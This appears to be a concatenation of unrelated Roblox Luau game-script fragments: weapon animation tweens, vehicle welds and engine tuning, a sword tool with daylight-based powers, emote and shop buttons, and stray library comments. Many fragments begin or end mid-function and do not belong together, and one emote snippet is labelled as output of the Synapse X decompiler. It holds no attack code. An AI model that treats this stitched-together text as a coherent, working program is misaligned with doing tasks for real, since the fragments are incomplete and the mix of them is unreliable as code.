IdleAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms) end; StanceDown = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, 0.45, -1.25) * CFrame.Angles(math.rad(-75), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.1,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; StanceUp = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-1, -.75, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.75,-0.75,-1.35) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play() wait(0.3) end; Patrol = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play() wait(0.3) end; SprintAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play() wait(0.3) end; EquipAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.1) objs[5].Handle:WaitForChild("AimUp"):Play() ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play() wait(0.5) end; ZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play() wait(0.3) end; UnZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play() wait(0.3) end; ChamberAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.25,0.15,-1.35) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play() wait(0.35) objs[5].Bolt:WaitForChild("SlidePull"):Play() ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(0.15,-0.1,-1.15) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() end; ChamberBKAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.55,0.05,-1.5) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(0))}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.15) end; CheckAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(.35) local MagC = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(.3, -0.2, .85) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(90))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagOut"):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play() wait(1.5) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 wait(0.3) end; ShellInsertAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() wait(0.3) objs[5].Handle:WaitForChild("ShellInsert"):Play() ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() objs[6].Value = objs[6].Value - 1 objs[7].Value = objs[7].Value + 1 wait(0.3) end; ReloadAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play() wait(0.3) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play() local MagC = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[5].Mag.CFrame) objs[5].Handle:WaitForChild("MagOut"):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play() wait(0.75) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play() wait(0.3) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then objs[7].Value = objs[7].Value + objs[6].Value objs[6].Value = 0 --Evt.Recarregar:FireServer(objs[5].Value) elseif objs[7].Value <= 0 then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo objs[9] = false elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1 --objs[10].Recarregar:FireServer(objs[6].Value) objs[7].Value = objs[8].Ammo + 1 elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo end wait(0.55) end;
-- Define some values
Players = game:GetService('Players') Player = Players.LocalPlayer Backpack = Player:FindFirstChildOfClass('Backpack') UiFrame = script.Parent.UiFrame SlotsFolder = script.Parent.Slots if not Player.Character then -- Ensure the charater has loaded Player.CharacterAdded:Wait() end Char = Player.Character
--Weld stuff here
MakeWeld(misc.Shifter2.MeshPart,misc.Shifter2.Main) MakeWeld(misc.Shifter2.MainBase,misc.Shifter2.Main) MakeWeld(misc.Shifter2.SN2,misc.Shifter2.Main) MakeWeld(misc.Shifter.SN,misc.Shifter.Main) MakeWeld(car.Body.SHIFTHinge,misc.Shifter.SN,"Motor",.03) MakeWeld(misc.Shifter.Main,misc.Shifter2.SN2) car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0) end end)
-- Decompiled with the Synapse X Luau decompiler.
local l__LocalPlayer__1 = game.Players.LocalPlayer; local l__Humanoid__2 = (l__LocalPlayer__1.Character or l__LocalPlayer__1.CharacterAdded:Wait()):WaitForChild("Humanoid", 10); local u1 = true; local u2 = l__Humanoid__2:LoadAnimation(script:FindFirstChild("Emote")); script.Parent.MouseButton1Click:connect(function() if u1 == true then l__Humanoid__2.JumpPower = 50; l__Humanoid__2.WalkSpeed = 16; u1 = false; u2:Play(); wait(1.5 + u2.Length); l__Humanoid__2.JumpPower = 50; l__Humanoid__2.WalkSpeed = 16; u1 = true; end; end); l__Humanoid__2:GetPropertyChangedSignal("MoveDirection"):Connect(function() if l__Humanoid__2.MoveDirection.Magnitude > 0 then wait(0.1); u2:Stop(); u1 = true; end; end);
--// bolekinds
local plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Parent script.Parent.MouseButton1Click:Connect(function() if plr.YouCash.Value >= 1000 and game.ServerStorage.ServerData.AutoClicker.Value == false then script.Parent.Parent.Parent.Ching:Play() plr.YouCash.Value -= 1000 game.ServerStorage.ServerData.AutoClicker.Value = true end end)
-- Make the object appear when the ProximityPrompt is used
local function onPromptTriggered() if object then Prox.Enabled = false object.Parent = game.ServerStorage game.StarterGui.ScreenGui.Enabled = true wait(2) game.StarterGui.ScreenGui.TextLabel.Visible = false end end
--[[Engine]]
--Torque Curve Tune.Horsepower = 380 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--Made by Luckymaxer
Tool = script.Parent Main = Tool:WaitForChild("Main") FX = Main:WaitForChild("FX") Handle = Tool:WaitForChild("Handle") Light = Handle:WaitForChild("Light") Recoil = script:WaitForChild("Recoil") Players = game:GetService("Players") Debris = game:GetService("Debris") CastLaser = Tool:WaitForChild("CastLaser"):Clone() Modules = Tool:WaitForChild("Modules") Functions = require(Modules:WaitForChild("Functions")) BaseUrl = "http://www.roblox.com/asset/?id=" ConfigurationBin = Tool:WaitForChild("Configuration") Configuration = {} Configuration = Functions.CreateConfiguration(ConfigurationBin, Configuration) ToolEquipped = false Remotes = Tool:WaitForChild("Remotes") Sounds = { Fire = Handle:WaitForChild("Fire"), HeadShot = Handle:WaitForChild("HeadShot"), } BasePart = Instance.new("Part") BasePart.Shape = Enum.PartType.Block BasePart.Material = Enum.Material.Plastic BasePart.TopSurface = Enum.SurfaceType.Smooth BasePart.BottomSurface = Enum.SurfaceType.Smooth BasePart.FormFactor = Enum.FormFactor.Custom BasePart.Size = Vector3.new(0.2, 0.2, 0.2) BasePart.CanCollide = true BasePart.Locked = true BasePart.Anchored = false BaseRay = BasePart:Clone() BaseRay.Name = "Ray" BaseRay.BrickColor = BrickColor.new("Lime green") BaseRay.Material = Enum.Material.SmoothPlastic BaseRay.Size = Vector3.new(0.2, 0.2, 0.2) BaseRay.Anchored = true BaseRay.CanCollide = false
--[[local SwordMesh = Handle:WaitForChild("SwordMesh") SwordMesh.VertexColor = Vector3.new(1,1,1) -- Keep it normal]]
local Properties = { Damage = 8, Special = true, SpecialReload = 30, SpecialActive = false, TimetoChange = 12, LightTeleport = true } local Sounds = { Lunge = Handle:WaitForChild("Lunge"), Unsheath = Handle:WaitForChild("Unsheath") } local Remote = Tool:FindFirstChildOfClass("RemoteEvent") or Create("RemoteEvent"){ Name = "Remote", Parent = Tool } local MousePos = Tool:FindFirstChildOfClass("RemoteFunction") or Create("RemoteFunction"){ Name = "MouseInput", Parent = Tool } local function SunIsVisible(Character) local dir = Services.Lighting:GetSunDirection() if Vector3.new(0,1,0):Dot(dir) > 0 then -- BUG: particles block raycast local hit = workspace:FindPartOnRay(Ray.new(Handle.Position,dir*999),Character) if not hit or (hit and not hit.CanCollide)then return true end end return false end function IsInTable(Table,Value) for _,v in pairs(Table) do if v == Value then return true end end return false end local function Wait(para) -- bypasses the latency local Initial = tick() repeat Services.RunService.Stepped:Wait() until tick()-Initial >= para end function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Services.Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end local function EnableParticles(Verdict) for _,stuff in pairs(Handle:GetDescendants()) do if (stuff:IsA("ParticleEmitter") and stuff.Parent ~= Handle) or stuff:IsA("Light") then stuff.Enabled = Verdict end if stuff:IsA("Light") then stuff.Range = (Verdict and 10) or 3 end end end local function SpecialParticles(Verdict) for _,stuff in pairs(Handle:GetDescendants()) do if stuff:IsA("ParticleEmitter") and stuff.Parent == Handle then stuff.Enabled = Verdict end if stuff:IsA("Beam") then stuff.TextureSpeed = (Verdict and 1) or .1 stuff.Color = (Verdict and ColorSequence.new(Color3.new(1,1,1)) or ColorSequence.new(Color3.new(.5,.5,.5))) end end end local Player,Character,Humanoid,Root function PassiveSpecial() --Sword of light does healing + Damage resistance when the sun is out --Check if Daytime then roll with ability --loop until time is not daytime if not Humanoid or Humanoid.Health <= 0 or not Character then return end if not SunIsVisible(Character) then --print("Sun is not visible") EnableParticles(false) Properties.SpecialActive = false if Humanoid and Tool:IsDescendantOf(Character) then Humanoid.WalkSpeed = 16 Properties.Damage = 14 end --[[Disable particles on sword]] return end if Humanoid and Tool:IsDescendantOf(Character) then Humanoid.WalkSpeed = 25 Properties.Damage = 20 end --Trigger active particles on sword if not Character:FindFirstChild(script:WaitForChild("SoLDefense").Name) and Tool:IsDescendantOf(Character) then local DefenseScript = script:WaitForChild("SoLDefense"):Clone() local ToolRef = Create("ObjectValue"){ Name = "ToolRef", Value = Tool, Parent = DefenseScript } DefenseScript.Parent = Character DefenseScript.Disabled = false end if Properties.SpecialActive then --[[print("On Cooldown")]] return end --SwordMesh.VertexColor = Vector3.new(1,1,1) * 10 -- Make the sword look all bright Properties.SpecialActive = true EnableParticles(true) end local Animations = {} function ChangeTime(Time) --initiate the cool time-chaning effect! if not Properties.Special then return end --warn("Changing Time") Properties.Special = false SpecialParticles(false) Tool.Enabled = false Humanoid.WalkSpeed = 0 Animations.Summon:Play() delay(3,function() PassiveSpecial() Tool.Enabled = true Animations.Summon:Stop() --Humanoid.WalkSpeed = (Humanoid.WalkSpeed <=0 and 16) or Humanoid.WalkSpeed end) delay(Properties.SpecialReload,function() Properties.Special = true SpecialParticles(true) end) local TimeChange = script:WaitForChild("TimeChange"):Clone() local SpawnPosition = Create("Vector3Value"){ Name = "SpawnPosition", Value = Root.Position - Vector3.new(0,Root.Size.Y * 1.5,0), Parent = TimeChange, } local Creator = Create("ObjectValue"){ Name = "Creator", Value = Player, Parent = TimeChange } local Time = Create("NumberValue"){ Name = "Time", Value = Time, Parent = TimeChange } TimeChange.Parent = Services.ServerScriptService TimeChange.Disabled = false end local function LightTransport() local LightWarpScript = script:WaitForChild("LightWarp") local function IsWarping() local stuff = Services.ServerScriptService:GetChildren() for i=1,#stuff do if stuff[i] and stuff[i].Name == LightWarpScript.Name and stuff[i]:FindFirstChild("Character") and stuff[i]:FindFirstChild("Character").Value == Character then return true end end return false end if IsWarping() then return end local sucess,MousePosition = pcall(function() return MousePos:InvokeClient(Player) end) MousePosition = (sucess and MousePosition) or Vector3.new(0,0,0) LightWarpScript = LightWarpScript:Clone() local CharacterTag = Create("ObjectValue"){ Name = "Character", Value = Character, Parent = LightWarpScript } local TargetLocation = Create("Vector3Value"){ Name = "TargetLocation", Value = MousePosition, Parent = LightWarpScript } local Range = Create("NumberValue"){ Name = "Range", Value = (Properties.SpecialActive and 200) or 100, Parent = LightWarpScript } LightWarpScript.Parent = Services.ServerScriptService LightWarpScript.Disabled = false end local EquippedEvents = {} local Touch local MouseHeld = false local CurrentMotor,RightWeld,Part0,Part1 function Equipped() Character = Tool.Parent Player = Services.Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChildOfClass("Humanoid") Root = Character:WaitForChild("HumanoidRootPart") if not Humanoid or Humanoid.Health <= 0 then return end Animations = Tool:WaitForChild("Animations"):WaitForChild(Humanoid.RigType.Name) Animations = { Slash = Humanoid:LoadAnimation(Animations:WaitForChild("SlashAnim")), Stab = Humanoid:LoadAnimation(Animations:WaitForChild("StabAnim")), Summon = Humanoid:LoadAnimation(Animations:WaitForChild("SummonAnim")), Charge = Humanoid:LoadAnimation(Animations:WaitForChild("ChargeAnim")), } Touch = Handle.Touched:Connect(function(hit) if not hit or not hit.Parent then return end local Hum,FF = hit.Parent:FindFirstChildOfClass("Humanoid"),hit.Parent:FindFirstChildOfClass("ForceField") if not Hum or FF or Hum.Health <= 0 or IsTeamMate(Services.Players:GetPlayerFromCharacter(Hum.Parent),Player) or Hum.Parent == Character then return end UntagHumanoid(Hum) TagHumanoid(Hum,Player) Hum:TakeDamage(Properties.Damage) print(Properties.Damage) end) PassiveSpecial() Sounds.Unsheath:Play() end function Unequipped() MouseHeld = false if Touch then Touch:Disconnect();Touch = nil end for AnimName,anim in pairs(Animations) do if anim then anim:Stop() end end if CurrentMotor then CurrentMotor:Destroy() end if Tool:IsDescendantOf(workspace) and not Tool:IsDescendantOf(Character) then for index = 1,#EquippedEvents do if EquippedEvents[index] then EquippedEvents[index]:Disconnect();EquippedEvents[index] = nil end end end end local Seed = Random.new() function Activated() if not Tool.Enabled or MouseHeld then return end MouseHeld = true Animations.Charge:Play() end function Deactivated() if not Tool.Enabled or not MouseHeld then return end MouseHeld = false Tool.Enabled = false local RightLimb = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if RightLimb then RightWeld = RightLimb:FindFirstChildOfClass("Weld") if RightWeld and not CurrentMotor then CurrentMotor = Create'Motor6D'{ Name = 'Grip', --C0 = RightWeld.C0, --C1 = Tool.Grip,--RightWeld.C1, Part0 = RightWeld.Part0, Part1 = Handle, --Parent = RightArm } CurrentMotor.Parent = RightLimb end coroutine.wrap(function() if RightWeld then Part0 = RightWeld.Part0 Part1 = RightWeld.Part1 RightWeld.Part0 = nil RightWeld.Part1 = nil end end)() end local AttackAnims = {--[[Animations.Slash,]]Animations.Stab} Sounds.Lunge:Play() Animations.Charge:Stop() local Anim = AttackAnims[Seed:NextInteger(1,#AttackAnims)] Anim:Play(0,nil,3);--Anim.Stopped:Wait() Wait(Anim.Length/3) if RightWeld then RightWeld.Part0 = Part0 RightWeld.Part1 = Part1 end if CurrentMotor then CurrentMotor:Destroy();CurrentMotor = nil end Tool.Enabled = true end Remote.OnServerEvent:Connect(function(Client,Key) if Client ~= Player or not Key or not Humanoid or Humanoid.Health <= 0 or not Tool.Enabled then return end if Key == Enum.KeyCode.Q then ChangeTime(Properties.TimetoChange) elseif Key == Enum.KeyCode.E and Properties.LightTeleport then Properties.LightTeleport = false delay(5,function() Properties.LightTeleport = true end) LightTransport() end end) Tool.Equipped:Connect(Equipped) Tool.Unequipped:Connect(Unequipped) Tool.Activated:Connect(Activated) Tool.Deactivated:Connect(Deactivated) Services.Lighting.Changed:Connect(function(property) if property == "ClockTime" then PassiveSpecial() end end) EnableParticles(false) SpecialParticles(true) PassiveSpecial()--trigger it initially on start
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance1 = true, dance2 = true, dance3 = true, laugh = false, cheer = false} function configureAnimationSet(name, fileList) if (animTable[name] ~= nil) then for _, connection in pairs(animTable[name].connections) do connection:Disconnect() end end animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 animTable[name].connections = {}
--[=[ Constructs a new brio that will cleanup afer the set amount of time @since 3.6.0 @param time number @param ... any -- Brio values @return Brio ]=]
function Brio.delayed(time, ...) local brio = Brio.new(...) task.delay(time, function() brio:Kill() end) return brio end
--[ Get Items ]--
local Humanoid = Avatar:WaitForChild("Humanoid") local Torso = Avatar:WaitForChild("Torso") local RH = Torso:WaitForChild("Right Hip") local LH = Torso:WaitForChild("Left Hip") local RL = Avatar:WaitForChild("Right Leg") local LL = Avatar:WaitForChild("Left Leg") local RJ = Avatar:WaitForChild("HumanoidRootPart"):WaitForChild("RootJoint")
--[=[ Gets and sets the current position of the AccelTween @prop p number @within AccelTween ]=]